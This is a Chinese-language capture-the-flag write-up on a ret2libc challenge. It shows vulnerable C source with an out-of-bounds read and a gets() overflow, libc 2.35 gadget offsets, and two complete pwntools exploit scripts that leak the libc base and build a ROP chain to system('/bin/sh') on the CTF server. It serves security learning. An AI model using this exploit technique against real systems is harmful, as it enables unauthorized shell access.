ret2libc(b33f adv_pwn)

Author: 堇姬Naup

一些工具

sudo docker-compose  up -d
sudo docker  exec -it  2e8beb8e16d5   /bin/sh 
ldd <binary>
sudo docker cp 2e8beb8e16d5:/lib/x86_64-linux-gnu/libc.so.6 .
sudo docker cp 2e8beb8e16d5:/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 .

找libc offset
libc_leak-libc_base(vmmap)=offset

image

libc offset:
https://libc.blukat.me/
https://github.com/scwuaptx/Pwngdb

version:

Ubuntu 16.04: Glibc 2.23
Ubuntu 18.04: Glibc 2.27
Ubuntu 20.04: Glibc 2.31
Ubuntu 22.04: Glibc 2.35

What is ret2libc

  • 倘若能得知 library 被 map 到的隨機起始地址 (base address),則可以計算出 libc 中 function 的位置,便能調⽤ library 中的函式。
  • 關鍵為 bypass ASLR,找出 libc 的隨機 base
    • 透過 information leak 漏洞,洩漏 memory 上的內容,獲取屬於 libcsegment 的 address
    • 此 address 會是隨機的 base address 加上⼀固定位移植 ofset (不同版本的 libc ofset 不同)

image

libc base

通常開頭7f,結尾e80

題目

知道libc

他說他Dockerfile裡面用Ubuntu 22.04
所以libc版本是2.35

checksec

image

source code分析

#include <stdio.h>

int main() {
  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);
  char buf[0x20];
  long long nums[10];
  puts("My little database (Under construction)");
  while (1) {
    puts("1. Change number");
    puts("2. See the number");
    puts("3. Exit");
    int choice = 0;
    int idx = 0;

    scanf("%d", &choice);
    switch (choice) {
      case 1:
        puts("Enter the index (0-9):");
        scanf("%d", &idx);
        if (idx >= 0 && idx < 10) {
          puts("Enter the number:");
          scanf("%lld", &nums[idx]);
        } else {
          puts("Invalid index!");
        }
        break;
      case 2:
        puts("Enter the index (0-9):");
        scanf("%d", &idx);
        printf("The number is %lld\n", nums[idx]);
        break;
      case 3:
        puts("Bye!");
        goto end;
      default:
        puts("Invalid choice!");
        break;
    }
  }
end:
  puts(
      "Since it's under development, please leave your feedback before you "
      "go!");
  getchar();
  gets(buf);
  return 0;
}    

開始解

首先因為有ASLR,所以要找出libc base

case 2: puts("Enter the index (0-9):"); scanf("%d", &idx); printf("The number is %lld\n", nums[idx]);

這裡有oob(簡單來說就是沒有對index檢查,arr[i] (int)
= *(arr + i *sizeof(int)),輸入不在範圍的可以leak 任何記憶體)
嘗試輸入幾次後可以發現15會leak一個libc adress
接著用libc base扣掉他找offset
libc leak:

image

libc base:

image

>>> hex(0x7ffff7c29d90-0x7ffff7c00000)
'0x29d90'

找出offset
找libc裡面的/bin/sh

strings -a -t x <path to libc> | grep /bin/sh

image

接下來要堆ROP(用libc裡面的,全部都要+libc base)

目標 地址
pop rdi ; ret 0x2a3e5
/bin/sh 0x1d8678
ret 0x2a3e5+0x1
system 0x50d70

image

stack

AAAA...(0x20+0x8)
pop rdi(libc)
/bin/sh(libc)
ret(libc)
system(libc)

script

from pwn import * context.arch='amd64' a=input('open debug?(y/n)') if a=='y': context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h'] b=input("local?(y/n)") if b=='y': r=process("./chal") else: r=remote("chall.nckuctf.org", 10009) r.sendline(b"2") r.sendline(b"15") r.recvuntil(b"The number is ") LEAK_LIBC=int(r.recv(15).decode()) OFFSET=0x29d90 print("LEAK-LIBC: ",hex(LEAK_LIBC)) LIBC_BASE=LEAK_LIBC-OFFSET print("LIBC_BASE",hex(LIBC_BASE)) ROP_libc={ "pop_rdi":0x2a3e5+LIBC_BASE, "binsh":0x1d8678+LIBC_BASE, "SYSTEM":0x50d70+LIBC_BASE, "ret":0x2a3e5+LIBC_BASE+0x1 } ROP_payload=flat(b"A"*(0x20+0x8),ROP_libc['pop_rdi'],ROP_libc['binsh'],ROP_libc['ret'],ROP_libc['SYSTEM']) r.sendline(b"3") r.sendlineafter(b"go!",ROP_payload) r.interactive()

感謝

感謝國外隊友Tomer大老幫我釐清問題
順便附上他的解法

from pwn import * libc = "/lib/x86_64-linux-gnu/libc.so.6" libc = ELF(libc) rop_libc = ROP(libc) SYSTEM_LIBC_OFFSET = libc.symbols["system"] BIN_SH = next(libc.search(b'/bin/sh')) RET_RDI = rop_libc.rdi.address RETN = rop_libc.retn.address DISTANCE_FROM_LIBC_BASE = 0x29D90 # con = process("./chal") con = remote("chall.nckuctf.org", 10009) con.writeline(b"2") con.writeline(b"15") con.readuntil(b"The number is ") leak = int(con.readline()[:-1]) libc_base = leak - DISTANCE_FROM_LIBC_BASE con.writeline(b"3") payload = cyclic(40) payload += p64(libc_base + RET_RDI) payload += p64(libc_base + BIN_SH) payload += p64(libc_base + RETN) payload += p64(libc_base + SYSTEM_LIBC_OFFSET) con.writeline(payload) con.interactive()

一些資料

https://hackmd.io/@u1f383/S1CNu-1SO
https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/return-to-libc-ret2libc